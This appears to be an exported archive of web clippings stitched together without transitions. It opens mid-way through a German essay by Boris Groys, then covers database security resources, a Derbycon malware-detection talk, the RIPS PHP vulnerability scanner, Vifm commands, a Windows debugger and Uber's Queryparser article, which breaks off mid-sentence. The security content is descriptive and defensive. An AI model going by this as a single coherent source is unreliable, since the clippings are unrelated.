Mittelschicht befindet sich zahlenmäßig in der Minderheit und ist somit für
die Wirtschaft unattraktiv. Die kumulative Kaufkraft der Mittelschicht ist
viel niedriger als die kumulative Kaufkraft der unteren Einkommensstufen.
Damit sind alle Ansprüche, in einem Café zu sitzen und Proust zu lesen, statt
auf einem großformatigen Bildschirm inmitten einer großen Menschenmenge
Fußball anzuschauen, automatisch erledigt. Diese Ansprüche gelten inzwischen
übrigens nicht nur als ökonomisch unerfüllbar, sondern auch als moralisch
verdächtig, arrogant, dekadent und sogar unmenschlich.

Der Mensch der gebildeten Mittelschicht kann zwar versuchen, sich äußerlich an
die herrschende Kultur anzupassen. Aber wie geschickt auch immer er sich
anstellt, er bleibt dem herrschenden Staat der Liebe kulturell fremd – nicht
liebend und ungeliebt. Und es ist in erster Linie diese kulturelle Distanz,
welche die gebildete Mittelschicht von der übrigen Gesellschaft, von den
Massen wie von den Eliten trennt, die in dieser Mittelschicht ein
revolutionäres Potenzial erzeugt. Nun könnte man vielleicht sagen, dass die
gebildete Mittelschicht eigentlich irrelevant ist, dass sie mit der Zeit
einfach verschwindet, zum Sozialfall wird und in den unteren Schichten
versinkt. Aber eine solche Entwicklung scheint wenig plausibel zu sein – und
zwar aus einem einfachen Grund: Es ist ebendiese Mittelschicht, die den
Sozialstaat trägt und pflegt und seine hierarchischen Stufen besetzt. Die
verwaltende Mittelschicht verkörpert eigentlich den Sozialstaat – auch wenn
sie am wenigsten von ihm profitiert.

Deswegen kann man erwarten, dass diese Mittelschicht irgendwann zur Einsicht
kommt, dass es ziemlich widersinnig ist, eine gesellschaftliche Struktur zu
tragen, von der nur andere profitieren, wobei diese Mittelschicht in dem von
ihr selbst geschaffenen Sozialstaat keine kulturelle Heimat findet und finden
kann. Erst wenn die Mittelschicht zu dieser Einsicht gelangt, kann man
wirklich einen neuen politischen Kampf erwarten – eine neue Revolution der
Tugend, die in der Tradition der Französischen Revolution und der russischen
Oktoberevolution stehen wird. Ein solcher Kampf könnte voraussichtlich auf
zweierlei Arten entschieden werden. Entweder kehrt man zurück zu einer
neomittelalterlichen oder neofrühbürgerlichen Ökonomie, die nur die
Aristokratie und die reiche Bourgeoisie als Konsumenten kennt und die übrige
Bevölkerung ihrem eigenen Schicksal überlässt. Oder, was viel plausibler ist,
man kehrt zu einer dirigistischen, neokommunistischen Ökonomie zurück, die den
Konsum der Armen am Markt vorbei regelt. In diesem Fall bekommt die
Mittelschicht – als Staatsapparat – volle gesellschaftliche Macht, Achtung und
Anerkennung, indem sie die spätkapitalistischen Profiteure des Sozialstaates
ausschaltet und selbst zum Objekt der Massenliebe wird.

**_Boris Groys_** _, geboren 1947, ist Philosoph und Mathematiker. Er lehrt an
der University of New York. Seine »Einführung in die Anti-Philosophie« ist
jüngst bei Hanser erschienen_

# Securosis Research | Database Security
**Created:**| _6/12/2009 10:08:01 PM_  
---|---  
**Updated:**| _6/12/2009 10:08:18 PM_  
**Author:**| __  
**Tags:**| _security tools security Databases_  
  

# Database Security

Last Updated: Saturday, February 21, 2009

Database Security is one of the broader topics that Securosis covers. Database
servers are highly complex systems -- storing, organizing, and managing data
for a wide array of applications. Most mid-sized firms have dozens of them,
some embedded in desktop applications, while others serve core systems such as
web commerce, financials, manufacturing, and inventory management. A Fortune
100 company may have thousands. To address the wide range of offerings and
uses, we will cover database security from two different angles. The first is
the security of the application itself, and the second is the use and security
of the data within the database.

Database Vulnerability Assessment \(VA\), access control & user management,
and patch management are all areas where preventative security measures can be
applied to a database system. For securing the data itself, we include such
topics as Database Activity Monitoring \(DAM\), auditing, data
obfuscation/masking, and database encryption. Technologies like database
auditing can be used for either, but we include them in the later category
because they provide a transactional view of database usage. We also include
some of the database programming guidelines that can help protect databases
from SQL injection and other attacks against application logic.

## Papers and Posts

If you are just getting started, we recommend you read the following blog
posts and papers in order. \(In keeping with our Totally Transparent Research
policy, for sponsored papers we also link to the original blog posts so you
can see how the content was developed, and comments\).

  1. **The most important piece of work we've published on database security** is the series "Understanding and Selecting a Database Activity Monitoring Solution" white paper, and here are links to the individual blog posts: Part 1, Part 2, Part 3, Part 4, Part 5, and Part 6.
  2. The post on Database Activity Monitoring and Event Collection Methods is designed to supplement some of the considerations any IT practitioner should consider when selecting a DAM solution.
  3. Several posts on **database encryption** : the first from Rich is An Introduction to Database Encryption, followed by media encryption options for databases, and additional considerations from Adrian regarding threat vectors to consider when encrypting data.
  4. The 5 laws of Data Masking.
  5. Information on weak database password checkers.
  6. Database Connections and Trust, and databases are not typically set up to validate incoming connections against SQL injection and misused credentials, and this post on recommending Stored Procedures to address SQL Injection attacks
  7. Separation of Duties and Functions through roles and programmatic elements, and putting some of the web application code back into the database.
  8. Native database primary key generation to avoid data leakage and inference problems, and additional comments onInference Attacks.
  9. Your Top 5 Database Security Resolutions.
  10. Posts on separation of duties: Who "Owns" Database Security, and the follow-up: DBAs should NOT own DAM & Database Security.
  11. A look at general threats around using External Database Procedures and variants in relational databases.

## General Coverage

  1. Netezza buys Tizor
  2. More Configuration and Assessment Options. Discusses recent Oracle and Tenable advancements.
  3. Policies and Security Products applies to database security as well as other product lines.
  4. Oracle Security Update for January 2009.
  5. Responding to the SQL Server Zero Day: Security Advisory 961040 includes some recommendations and workarounds.
  6. Will Database Security Vendors Disappear? and Rich's follow-on Database Security Market Challengesconsiderations for this market segment.
  7. Behavioral Monitoring for database security.
  8. NitroSecurity acquired RippleTech.
  9. Database Monitoring is as big or bigger than DLP.

## Presentations

  * Rich's presentation on Understanding and Selecting a Database Activity Monitoring Solution. \(PDF\)

## Podcasts, Webcasts and Multimedia

None at this time

## Vendors/Tools

The following is just an alphabetized and categorized list of vendors and
products in this area \(including any free tools we are aware of\). It does
not imply endorsement, and is meant to assist you should you start looking for
tools. Please emailinfo@securosis.com if you have any additions or
corrections.

  * http://www.appsecinc.com/Application Security Inc. \(AppRadar\)
  * http://www.guardium.com/Guardium
  * http://www.imperva.com/index.htmlImperva \(SecureSphere\)
  * http://www.iplocks.co.jp/IPLocks \(UBM\)
  * http://www.netezza.com/Netezza \(Tizor\)
  * http://nitrosecurity.com/nitrosecurity
  * http://www.sentrigo.com/Sentrigo
  * http://www.secerno.com/Secerno

### Database Vulnerability Assessment

  * http://www.appsecinc.com/Application Security Inc. \(AppDetective\)
  * http://www.fortinet.com/Fortinet
  * http://www.imperva.com/index.htmlImperva \(Scuba\)
  * http://www.nessus.org/nessus/Tenable Network Security \(Nessus\)
  * http://www.ngssoftware.com/Next Generation Security Software NGS \(Squirrel\)

### Database Encryption

  * http://www.appsecinc.com/Application Security Inc.
  * http://www.netlib.com/NetLib
  * http://www.oracle.com/index.htmlOracle
  * http://www.relationalwizards.com/Relational Wizards
  * http://www.rsa.com/RSA \(Valyd\)
  * http://www.safenet-inc.com/SafeNet \(Ingrian\)
  * http://www.sybase.com/Sybase
  * http://www.ncipher.com/solutions/business%20solutions/databases.aspxThales \(aka nCipher\)
  * http://www.voltage.com/Voltage

### Database Auditing

  * http://www.oracle.com/index.htmlOracle
  * http://www.softtree.com/SoftTree Technologies \(DB Audit Expert\)
  * http://www.quest.com/InTrust-for-Databases/Quest \(IntTust\)

### Database Vendors

  * http://www-01.ibm.com/software/data/db2/IBM
  * http://www.oracle.com/index.htmlOracle
  * http://www.sybase.com/Sybase
  * http://www.mysql.com/news-and-events/sun/Sun Microsystems \(MySQL\)
  * http://www.teradata.com/t/Teradata
  * http://db.apache.org/derby/Apache \(Derby\)
  * http://www.postgresql.org/PostgreSQL \(Postgres\)
  * http://www.ingres.com/Ingres \(Open Ingres\)

There are dozens of vendors, both big and small, who offer databases -- many
with specific competitive advantages. We aren't even attempting to
comprehensive, and specifically ignored any without widespread mainstream
adoption. There are also dozens more open source databases with small numbers
of deployments, perhaps primarily embedded in applications or backending non-
commercial web applications.

# The Malware Management Framework, a process you can use to find advanced
malware. We found WinNTI with it\! - Michael Gough, Ian Robertson Derbycon
2013 \(Hacking Illustrated Series InfoSec Tutorial Videos\)

**Created:**| _10/2/2013 3:14:26 PM_  
---|---  
**Updated:**| _10/2/2013 3:14:26 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

# **T** he Malware Management Framework, a process you can use to find
advanced malware**.** We found WinNTI with it**\!**

﻿

**The Malware Management Framework, a process you can use to find advanced
malware**.** We found WinNTI with it**\!** \- Michael Gough, Ian Robertson  
Derbycon 2013 **

Description: “Both CXO’s and technical staff should attend this talk**.** You
can throw lots of time and money at scanning your systems for unknown malware,
but the reality is that you will only identify a small portion of the bad
stuff**.** Changing the way you approach managing your systems by using this
process will help you find malware**.** In this presentation we will introduce
you to the “Malware Management Framework”, a repeatable process that can
identify the most advanced malware on Windows based systems without signatures
or the need to understand anything about the malware**.** This isn’t
whitepaper fluff, this is the real deal straight from the professionals who
have dealt with some of the nastiest stuff in the real world, defending real
environments**.** This presentation will discuss the current state of malware,
the problems with current detection methods and share a new process that
anyone can setup to assist in malware discovery and remediation**.** If
malware is a concern in your environment, you need to attend this talk and
take away actionable information you can begin using immediately**.**
JUSTIFICATION: Anti-Malware and malware detection and prevention solutions
currently on the market are failing in detecting today’s advanced malware**.**
There are over 110 million new pieces of malware discovered in 2012**.** AV-
Test.org has already listed 60 million new malware between Jan-May 2013,
exceeding malware numbers for all 2011**\!** The “Malware Management
Framework” and this presentation will teach IT and security professionals how
to setup a program to easily and inexpensively detect the most sophisticated
malware on their systems, or validate a system is malware free**.** This
approach will save significant dollars on Incident Response and allow
companies to move forward after an incident and not be paralyzed by the
event**.** This is not a traditional forensics talk, this is a new innovative
methodology proven by the speakers in their current environment with WinNTi
and other advanced malware**.** ”

Bio: Ian and Michael, aka the “Thoughtful Hackers”, are security professionals
and researchers**.** The duo’s responsible disclosures involve cardkey system
exploits and vulnerabilities with leading application whitelisting and file
integrity products**.** Michael’s background includes 20 years of security
consulting for Fortune 500 organizations and running BSides Texas**.** Ian’s
background includes security, networking and software development, and was a
former CISO for the State of Texas**.** Now Ian and Michael defend against
malefactors and ne’er-do-weller’s trying to do nefarious things and trying to
p0wn their employer’s assets**.**

Back to Derbycon 2013 video list

****

# RIPS - Static Source Code Analysis For PHP Vulnerabilities - Darknet - The
Darkside

**Created:**| _10/18/2014 4:44:50 PM_  
---|---  
**Updated:**| _10/18/2014 4:45:53 PM_  
**Author:**| __  
**Tags:**| _analysis php static_  
  

# RIPS – Static Source Code Analysis For PHP Vulnerabilities

  

RIPS is a tool written in PHP to find vulnerabilities using static source code
analysis for PHP web applications. By tokenizing and parsing all source code
files RIPS is able to transform PHP source code into a program model and to
detect sensitive sinks \(potentially vulnerable functions\) that can be
tainted by user input \(influenced by a malicious user\) during the program
flow. Besides the structured output of found vulnerabilities RIPS also offers
an integrated code audit framework for further manual analysis.

<img src='img/Temp2_6692.gif' width='50' height='50' alt='RIPS - Static Source
Code Analysis For PHP Vulnerabilities' />

**Features**

  * detect XSS, SQLi, File disclosure, LFI/RFI, RCE vulnerabilities and more
  * 5 verbosity levels for debugging your scan results
  * mark vulnerable lines in source code viewer
  * highlight variables in the code viewer
  * user-defined function code by mouse-over on detected call
  * active jumping between function declaration and calls
  * list of all user-defined functions \(defines and calls\), program entry points \(user input\) and scanned files \(with includes\) connected to the source code viewer
  * graph visualization for files and includes as well as functions and calls
  * create CURL exploits for detected vulnerabilties with few clicks
  * visualization, description, example, PoC, patch and securing function list for every vulnerability
  * 7 different syntax highlighting colour schemata
  * display scan result in form of a top-down flow or bottom-up trace
  * only minimal requirement is a local webserver with PHP and a browser \(tested with Firefox\)
  * regex search function

There are other PHP-centric tools we’ve covered such as:

– RATS – Rough Auditing Tool for Security  
– Skavenger – Source Code Auditing Tool\!  
– SpikeSource Spike PHP Security Audit Tool

If you are interested in more tools of this type you can find our complete
list here \(which covers various languages\) – Code Auditing Tools.

**NOTE:** The authors have stated that RIPS 0.5 development is abandoned. A
complete rewrite is in the works and used as an academic prototype but it is
not publicly available yet. So we’ll be keeping an eye on what happens with
that.

But for now you can download RIPS here:

rips-0.54.zip

Or read more here.

# Vifm Documentation

**Created:**| _2/1/2010 4:41:43 PM_  
---|---  
**Updated:**| _2/1/2010 4:41:55 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Vifm

Home Download Picture Project Page Contact

**Basic Movement**

**j** \- moves down.  
**k** \- moves up.  
**l** \- moves into a directory or launches a file.  
**h** \- moves up one directory.  
  
**gg** \- move to the top of the file list.  
**G** \- move to the bottom of the file list.  

**14G** \- move to the 14th file in the list.  

  
**Ctrl-F** or **Page Down** \- move forward one page.  
**Ctrl-B** or **Page Up** \- move back one page.  
  
**25%** \- move to the file that is 25 percent from the top of the list.  
  
**:34\[Enter\]** \- move to the 34th file.  

**:0\[Enter\]** \- move to the top of the list.  
**:$\[Enter\]** \- move to the bottom of the list.  

  
The **Space Bar** or **Tab Key** toggles between the two file lists.  
  
**Ctrl+G** creates a window showing detailed information about the current
file.  
  

**Marks**

Marks are set the same way as they are in vi.

**m\[a-z\]\[A-Z\]\[0-9\]** to set a mark for the current file.  
**'\[a-z\]\[A-Z\]\[0-9\]** moves to the file set for the mark.  

**Searching**

**/regular expression pattern\[Return\]** \- will highlight all files matching
the pattern.

**N** \- find the previous match.  
**n** \- find the next match.  

**Additional Normal Mode Keys**

**\[count\]dd** \- moves the selected files to the trash directory.  
**\[count\]yy** \- yanks the selected files.  
**p** \- puts the last yanked or deleted files.  
**t** \- tag the current file.  
**v** \- start visual mode.  

**Commands**

**:com** \- gives a menu of user commands.  
**:com name action** sets a new user command.  
**:delc command\_name **will remove the command\_name user command  
**:fil regular\_expression pattern** will filter all the files out of the
directory listing that match the regular expression.  

:fil \\.o$ - would filter all files ending in .o from the filelist.

**:empty** will permanently remove 'rm -fr' files from the Trash directory.  
**:sh** will start a shell.  
**:q** or **:x** will exit vifm.  
**:\!** program will execute the program in a shell  
**:\!\!** program is the same as :\! but will pause the screen before
returning to vifm.  
**:\!\!** will execute the last command.  
**:e** load file into vi  
**:pwd** show the present working directory.  
**:cd** change directory.  

**:cd ~/bin**  

**:s\[ort\]** creates a popup menu of different sorting methods.  
**:his\[tory\]** creates a popup menu of directories visited.  
**:h\[elp\]** show the help file.  
**:marks** create a popup menu of bookmarks.  
**:screen** toggles whether or not to use the screen program.  
**:split** splits the window to show both file directories  
**:only** changes the window to show only the current file directory  

**File Filters**  

The basic vim folding key bindings are used for filtering files.

**zO** Show the filtered files.  
**zM** Filter the files matching the filename filter.  
**zo** Show all of the dot files.  
**zm** Filter all of the dot files.  
**zf** Filter all of the selected files.

# Windows Debugger

**Created:**| _7/15/2011 2:18:52 PM_  
---|---  
**Updated:**| _7/15/2011 2:37:23 PM_  
**Author:**| __  
**Tags:**| _reversing software_  
  
PEBrowse Professional Interactive \(v9.3.3\) is a debugger for Microsoft
Windows 2000, Windows XP, Windows 2003, Windows Vista32, and Windows 7.
PEBrowseDbg64 Interactive \(v2.9\) is a rewrite of PEBrowse Professional
Interactive but is a 64-bit executable and requires the .NET framework. It
will debug Win32/Win64 executables, managed \(.NET\) and/or native.

PEBrowse Professional Interactive and PEBrowseDbg64 Interactive build upon the
framework presented by PEBrowse Professional to create very powerful,
versatile, and customizable Win32 and Win64 user mode debuggers/disassemblers,
respectively. PEBrowse Interactive is not a source code debugger, but operates
at the Intel x86 instruction level and therefore at the lowest level where
your program executes. The debugger fully supports Microsoft .NET managed
processes and seamlessly allows interop or mixed-mode debugging. PEBrowseDbg64
Interactive is an x64 native-code debugger that fully supports 32 and 64-bit
.NET programs, includes using pre-JITted metadata to set breakpoints and steps
through .NET thunks. PEBrowse Interactive can be set as the startup debugger
using the system registry Image File Execution Options key - useful for
debugging ASP.NET applications.

There is a large array of breakpoint opportunities, including:

  * process initialization
  * module load
  * thread startup
  * module exports

|

  * debug symbols
  * JITted \(Just-In-Time\) methods
  * user specified addresses

|

  * memory breakpoints
  * conditional breakpoints
  * one-time breakpoints

  
---|---|---  
When a breakpoint fires or an exception in the process occurs, the interface
provides easy access to full process context, including:

  * loaded modules
  * valid memory ranges
  * debug log messages
  * register values \(including debug, floating-point, and segment registers\)
  * stack addresses
  * disassembly at the breakpoint or exception address

|

  * virtually unlimited numbers of disassembly and memory displays
  * additional process information, including 
    * thread information
    * kernel, USER32, GDI32 objects \(32-bit only\)
    * critical sections
    * process environment
    * startup parameters

|

  * heap display \(32-bit only\)
  * execution path summary
  * subroutine discovery
  * intermediate language disassembly \(for .NET managed modules\)

  
---|---|---  
There are all of the usual debugging features, such as single-stepping,
stepping into/over call statements, executing until a selected instruction, as
well as running to the next branch instruction. You can even add breakpoints
on a specific IL statement in a .NET managed method.

Memory DWORD/QWORD displays automatically indicate if the value is a valid
memory address in the context of the debugged process and these values
whenever possible resolve to symbolic names or important process regions,
e.g., thread stacks, process heaps, and module sections. The color-coded
disassembly displays also attempt to use symbolic information as well as
offering various highlighting options designed to allow easy analysis of the
code. There is even convenient access to a scratchpad, a calculator, and
tables for hex-to-ASCII values, common Win32 error codes \(32-bit only\), and
Windows message codes \(32-bit only\). There are many more options available
on each window by accessing the context-sensitive menu items \(popups are
present also\).

Screenshot:

Download PEBrowse Professional Interactive.

Download PEBrowseDbg64 Interactive.

Read the Tutorial.

# Queryparser, an Open Source Tool for Parsing and Analyzing SQL

**Created:**| _3/7/2018 8:25:08 AM_  
---|---  
**Updated:**| _3/7/2018 8:25:08 AM_  
**Author:**| _wishi_  
**Tags:**| _bookmark sql_  
  

  

# Queryparser, an Open Source Tool for Parsing and Analyzing SQL

By Matt Halverson

March 1, 2018

initialinitial _j_ initial Shareinitial289

initialinitial _s_ initial Tweetinitial190

initialinitialinitial _f_ initial Share

initialinitial _D_ initial Voteinitial1

initialinitial _a_ initial Redditinitial58

initialinitialinitial _h_ initial +1

In early 2015, Uber Engineering migrated its business entities from integer
identifiers to UUID identifiers as part of an initiative towards using
multiple active data centers. To achieve this, our Data Warehouse team was
tasked with identifying every foreign-key relationship between every table in
the data warehouse to backfill all the ID columns with corresponding UUIDs.¹

Given the decentralized ownership of our tables, this was not a simple
endeavor. The most promising solution was to crowdsource the information by
scraping all the SQL queries submitted to the warehouse and observing which
columns were joined together. To serve this need, we built and open sourced
Queryparser, our tool for parsing and analyzing SQL queries.

In this article, we discuss our implementation of Queryparser, the variety of
applications it unlocked, and some problems and limitations encountered along
the way.

### Implementation

Internally, Queryparser is deployed in a streaming architecture, as shown in
Figure 1, below:

<img src='img/Temp2_6581.png' width='600' height='240' />

Figure 1: Uber’s data warehouse streaming architecture feeds all queries
through Queryparser. Boxes denote services and pipes denote data-streams. The
catalog info service is responsible for tracking the schemas of the tables in
the data warehouse.

Queryparser consumes the real-time stream of queries submitted to the data
warehouse, analyzes every single one, and emits the analysis results to a
separate stream. Individual queries are processed in three steps, explained
below and illustrated in Figure 2.

  * **Phase 1: Parse**. Transforms the query from a raw string of characters into an abstract syntax tree \(AST\) representation.
  * **Phase 2: Resolve**. Scans the raw AST and applies scoping rules. Transforms plain column names by adding the table name, and transforms plain table names by adding the schema name. Requires as input the full list of columns in every table and the full list of tables in every schema, otherwise known as “catalog information.”
  * **Phase 3: Analyze**. Scans the resolved AST, looking for columns which are compared for equality.

<img src='img/Temp2_6561.png' width='600' height='350' />

Figure 2: Queryparser takes three passes to fully process a query: parse,
resolve, and analyze.The top flow illustrates this sequence conceptually as a
transformation of data types. The bottom flow illustrates the sequence
concretely on a real query.

The implementation and architecture successfully identified foreign-key
relationships—a great result, given that the prototype only had partial
coverage of the SQL grammar, the catalog information was entirely hard-coded,
and our understanding of what counted as a foreign-key relationship was
continually evolving.²

### The Haskell choice

One of the first things you may have noticed in the open source Queryparser
repository is that it is written in Haskell. Queryparser was originally
conceived by an Uber engineer who was a Haskell enthusiast, and it quickly
gained traction with several other engineers. In fact, many of us learned
Haskell specifically to develop in it.

Haskell turned out to be a good choice for prototyping Queryparser for a
variety of reasons. To start, Haskell has very mature library support for
language parsers. Its expressive type system was also extremely useful for the
frequent and extensive refactors of our internal model of a SQL query.
Additionally, we leaned heavily on the compiler to guide us through those big,
scary refactors. If we attempted the same using a dynamically-typed language,
we would have lost weeks chasing runtime bugs that Haskell’s compiler can
quickly flag for us.

The main drawback of writing Queryparser in Haskell was that not enough
developers knew it. To introduce more of our engineers to Haskell, we started
a weekly reading group, which met over lunch to discuss Haskell books and
documentation.

Note that for interoperability with the rest of Uber’s non-Haskell
infrastructure, Queryparser was \(and is\) deployed behind a Python proxy
server. See the  _Deploying Queryparser_ section of this article for more
details.

### Diversity of solutions

After the initial success of Queryparser, we considered other ways in which
the tool could improve our data warehouse operations. In addition to
implementing join detection, we decided to implement several more analysis
functions:

  * **Table access** : which tables were accessed in the query
  * **Column access** : which columns were accessed in each clause of the query
  * **Table lineage** : which tables were modified by the query, and what were the inputs that determined their final state

Together, the new analyses gave a nuanced understanding of the access patterns
in our data warehouse, permitting advances in the following areas: table
administration, targeted communication, understanding data flow, incident
response, and defensive operations, outlined below:

#### Table administration

As far as table administration was concerned, the benefits were threefold.
First, table access statistics let us free up storage and compute resources by
finding tables that were infrequently accessed and then removing them.

Second, column access statistics let us improve database performance by
optimizing table layouts on disk, particularly with Vertica projections. The
trick was to set the top GROUP BY columns as the shard keys and the top ORDER
BY columns as the order keys.

Finally, column join statistics let us improve data usability and reduce
database load by identifying clusters of tables that were frequently joined
together and replacing them with a single dimensionally modeled table.

#### Targeted communication

Table access statistics let us send targeted communications to data consumers.
Instead of blasting the entire Data Engineering mailing-list with updates
about table schemas or data quality issues, we could notify only the data
consumers who had recently accessed the table.

#### Understanding data flow

Table lineage data unlocked a special use case: if a sequence of queries were
analyzed together, then the table lineage data could be aggregated to produce
a graph of dataflow across the sequence.

For example, consider the hypothetical SQL in Figure 3, below, which produces
a new version of modeled table A from dependent tables B and C:

**Query**  
---  
drop A\_new if exists  
create A\_new as select … from B  
insert into A\_new select … from C  
drop A\_old if exists  
rename A to A\_old  
rename A\_new to A  
Figure 3: Sequence of SQL queries for computing modeled table A from dependent
tables B and C.

In Figure 4, below, we describe the table lineage that Queryparser would
produce for each query in the sequence. Additionally, we depict and explain
the cumulative observed dataflow for each query in the sequence. At the end,
the cumulative data flow \(correctly\!\) records that table A has dependencies
on tables B and C:

**Query** | **Table lineage of query** | **Cumulative observed dataflow** | **Interpretation of cumulative dataflow**  
---|---|---|---  
drop A\_new if exists | A\_new has no dependencies |  <img src='img/Temp2_6560.png' width='100' height='100' /> | A\_new has no dependencies  
create A\_new as select … from B | The data in A\_new was determined exclusively by the data in B |   
<img src='img/Temp2_6559.png' width='300' height='120' /> | **The data in A\_new was determined exclusively by the data in B**  
insert into A\_new select … from C | The data in A\_new was determined by the previous data in A\_new and the data in C |  <img src='img/Temp2_6580.png' width='300' height='195' /> | The data in A\_new was determined by the data in B **and the data in C**  
drop A\_old if exists | A\_old has no dependencies |  <img src='img/Temp2_6563.png' width='300' height='269' /> | The data in A\_new was determined by the data in B and the data in C **A\_old has no dependencies**  
rename A to A\_old | The data in A\_old was determined by the previous data in A A has no dependencies, anymore | <img src='img/Temp2_6562.png' width='300' height='345' /> | The data in A\_new was determined by the data in B and the data in C **The data in A\_old was determined by the previous data in A** **A has no dependencies, anymore**  
rename A\_new to A | The data in A was determined by the previous data in A\_new A\_new has no dependencies, anymore | <img src='img/Temp2_6570.png' width='300' height='329' /> | **The data in A was determined by the data in B and the data in C** The data in A\_old was determined by the previous data in A A\_new has no dependencies, anymore  
Figure 4: SQL from Figure 3, with table lineage for each query in the
sequence, and cumulative table lineage for the entire sequence.

We modified our ETL-framework to record the sequence of SQL queries in every
ETL and submit them to Queryparser, at which point Queryparser was
programmatically generating graphs of data-flow for all the modeled tables in
our warehouse. See Figure 5, below, for an example:

<img src='img/Temp2_6567.png' width='400' height='400' />

Figure 5: A sample data flow graph representing four raw tables \(A, B, C, D\)
and three modeled tables \(E, F, G\) portrays how queries are processed by
Queryparser. In practice, the raw tables typically come from upstream
operational systems such as Kafka topics, Schemaless datastores, and service-
oriented architecture \(SOA\) database tables. The modeled tables are exposed
in the data warehouse \(Hive\) and in downstream data marts \(Vertica\).

#### Incident response

Table lineage data has been useful in responding to data quality incidents,
decreasing the mitigation time by offering tactical visibility into incident
impact. For example, given the table dependencies in Figure 5, if there was an
issue in raw table A, we would know that the scope of impact included the
modeled tables E and G. We would also know that once the issue was resolved, E
and G would need to be backfilled. To address this, we could combine the
lineage data with table access data to send targeted communications to all
users of E and G.

Table lineage data is also useful for identifying the root cause of an
incident. For instance, if there was an issue with modeled table E in Figure
5, it could only be due to the raw tables A or B. If there was an issue with
modeled table G, it could be due to raw tables A, B, C, or D.

#### Defensive operations

Finally, the ability to analyze queries at runtime unlocked defensive
operations tactics that enabled our data warehouse to run more smoothly. With
Queryparser, queries can be intercepted en route to the data warehouse and
submitted for analysis. If Queryparser detects parse errors or certain query
anti-patterns, then the query can be rejected, reducing the overall load on
the data warehouse.

### Problems and limitations

Fred Brooks famously argued that there is no silver bullet in software
engineering. While beneficial for our storage needs, Queryparser was no
exception. As the project unfolded, it revealed some interesting essential
complexities.

#### Long tail of language features

First, and least surprising: when adding support for a new SQL dialect, there
is a long tail of infrequently-used language features to implement, which can
require significant changes to Queryparser’s internal representation of a
query. This was immediately apparent during the prototype phase, when
Queryparser exclusively handled Vertica, and was further confirmed when
support for Hive and Presto was added. For example, parsing TIMESERIES and
OFFSET in Vertica required adding new clauses to SELECT statements.
Additionally, parsing LEFT SEMI JOINs in Hive required a new join type with
special scoping rules, and parsing the bonus top-level namespace of
“databases” in Presto \(where tables belong to schemas belong to databases\)
required extensive re-working of struct-access parsing.³

#### Tracking catalog state

Second, tracking catalog state was hard. Recall that catalog information is
needed for resolving column names and table names. Uber’s data warehouse
supports highly concurrent workloads, including concurrent schema changes,
typically creating, dropping, and renaming tables, or adding or dropping
columns from an existing table. We experimented briefly with using Queryparser
to track catalog state; if Queryparser was already analyzing every query, we
wondered if we could simply add an analysis that reported the schema changes
and produce the new catalog state by applying them to the previous catalog
state. Ultimately, that approach was unsuccessful due to the difficulty of
ordering the entire stream of queries. Instead, our alternative \(and more
effective\) approach was to treat the catalog state as more-or-less static,
tracking the schema membership and column-lists of tables through
configuration files.

#### Sessionizing queries

Third, sessionizing queries with Queryparser was difficult. In a perfect
world, Queryparser would be able to track table lineage across an entire
database session, accounting for transactions and rollbacks and various levels
of transaction isolation. In practice, however, reconstructing database
sessions from the query logs was difficult, so we decided not to add table
lineage support for those features. Instead, Queryparser relies on Uber’s ETL-
framework to sessionize the ETL queries on its behalf.

#### Leaky abstraction

Finally, Hive is a leaky abstraction over the underlying filesystem. For
instance, INSERTs can be accomplished by several means:

  1. INSERT INTO foo SELECT … FROM bar
  2. ALTER TABLE foo ADD PARTITION … LOCATION ‘/hdfs/path/to/partition/in/bar’

Uber’s ETL framework initially used the first method, but was migrated to use
the second method, as it showed dramatic performance improvements. This caused
issues with table lineage data, as ‘/hdfs/path/to/partition/in/bar’ was not
interpreted by Queryparser as corresponding to table bar. This particular
issue was temporarily mitigated with a regular expression to infer the table
name from the HDFS path. However, in general, if you choose to bypass the SQL
abstractions of Hive in favor of filesystem-layer operations, then you opt out
of Queryparser analysis.

### Deploying Queryparser

Deploying a Haskell service in Uber’s non-Haskell infrastructure required some
minor creativity, but never amounted to a substantial problem.

Installing Haskell itself was straightforward. Uber’s standard infrastructure
pattern is to run every service in a Docker container. Container-level
dependencies are managed through config files, so adding Haskell support was
as simple as adding Stack to the list of required packages.

Queryparser is internally deployed as a Haskell artifact, running behind a
Python service wrapper for interoperability with the rest of Uber’s
infrastructure. The Python wrapper acts as a proxy server and simply forwards
requests to the Haskell backend server in the same docker container. The
Haskell server consists of a main thread that listens for requests on a UNIX-
domain socket; when a new request arrives, the main thread spawns a worker
thread to handle the request.

The Python wrapper also handles metric emission on behalf of the Haskell
backend. Metric data is passed via a second UNIX-domain socket, with data
flowing in the reverse direction: a daemon-thread in the Python layer listens
for metrics from the Haskell layer.

In order to share configuration between the Python and Haskell layers, we
implemented a tiny configuration parser in Haskell, which understood Uber’s
standard Python convention of layered configuration files.

Finally, to define the service interface, we used Thrift. This is the standard
choice at Uber, and since Thrift has Haskell support, the Haskell server
worked out-of-the-box. Writing the Python code to transparently forward
requests required diving into the binary protocol and was the most difficult
operations step.

### Summary

Queryparser unlocked a diversity of solutions and had some interesting
limitations. From its humble origins as a migration tool, it became a vehicle
for insight into large-scale data access patterns.

_If you are interested in working on similar projects, reach out to_
_za@uber.com_ _and/orapply for a role on with us via the Uber Careers page and
tell your Uber recruiter that you’d like to work on the Data Knowledge
Platform team._

**End Notes:**

¹Spoiler alert: there ended up being dozens of primary keys to migrate. Each
primary key could have many foreign keys under different aliases. The worst
offender had over 50 different aliases.

² Foreign-key relationships ranged from the obvious like “SELECT \* FROM foo
JOIN bar ON foo.a = bar.b” to the less obvious like “SELECT \* FROM foo WHERE
foo.a IN \(SELECT b from bar\)” to the debatable like “SELECT a FROM foo UNION
SELECT b FROM bar”. We erred on the side of being liberal about what we
counted as a relationship, since output would be manually inspected anyway.

³ Given the SQL “w.x.y.z”, which identifier is the column name? Depending on
the catalog state and what is in scope, it could be “w” with “x.y.z” referring
to nested struct fields, or it could be “z” with “w.x.y” referring to
“database.schema.table”, or anything in between.

<img src='img/Temp2_6565.png' width='24' height='24' alt='Matt Halverson on
Github' /><img src='img/Temp2_6558.png' width='24' height='24' alt='Matt
Halverson on Linkedin' />

Matt Halverson

<img src='img/2d6c5a73cd8cff8f3bdef961f9bd28fb.jpg' width='100' height='100'
alt='Matt Halverson' />

Matt Halverson is a senior software engineer at Uber. When he’s not reading
the changelogs for SQL grammars, he enjoys singing with The Choral Project in
San Jose. He is eternally grateful to David Thomas for introducing him to
